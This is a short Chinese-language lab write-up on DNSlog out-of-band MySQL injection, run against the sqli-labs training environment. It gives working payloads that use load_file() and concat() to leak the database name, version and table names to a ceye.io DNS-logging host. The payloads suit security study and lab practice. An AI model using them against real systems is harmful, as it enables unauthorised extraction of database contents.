DNSlog实现Mysql注入

step1:

通过DNSlog盲注需要用到load_file()函数。show variables like '%secure%' 查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

在5.7.6之后默认为null,经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题,做出了更改。

自己添加

重启mysql

 

ok!

 step2:

测试LOAD_FILE函数

正常!

step3:

登录ceye.io,获取Identifier

step4:

先骂自己一句,没use选中数据库就select,结果ceye后端一直没接收到消息。(lll¬ω¬)

use security;

select load_file(concat('\\\\',(select database()),'.6dz4ut.ceye.io\abc'));

ceye后端情况

ok!

step5:

sqli-labs环境Less-5测试

获取数据库版本

payload:1' and if((select load_file(concat('\\',(select version()),'.6dz4ut.ceye.io\abc'))),1,1)--+

 获取security的表

payload:1' and if((select load_file(concat('\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'.6dz4ut.ceye.io\abc'))),1,1)--+

ok!

全程基本没啥问题,就是前提条件secure_file_priv为null很蛋疼。

http://docs.hackinglab.cn/HawkEye-Log-Dns-Sqli.html

原文地址:https://www.cnblogs.com/p0pl4r/p/10581070.html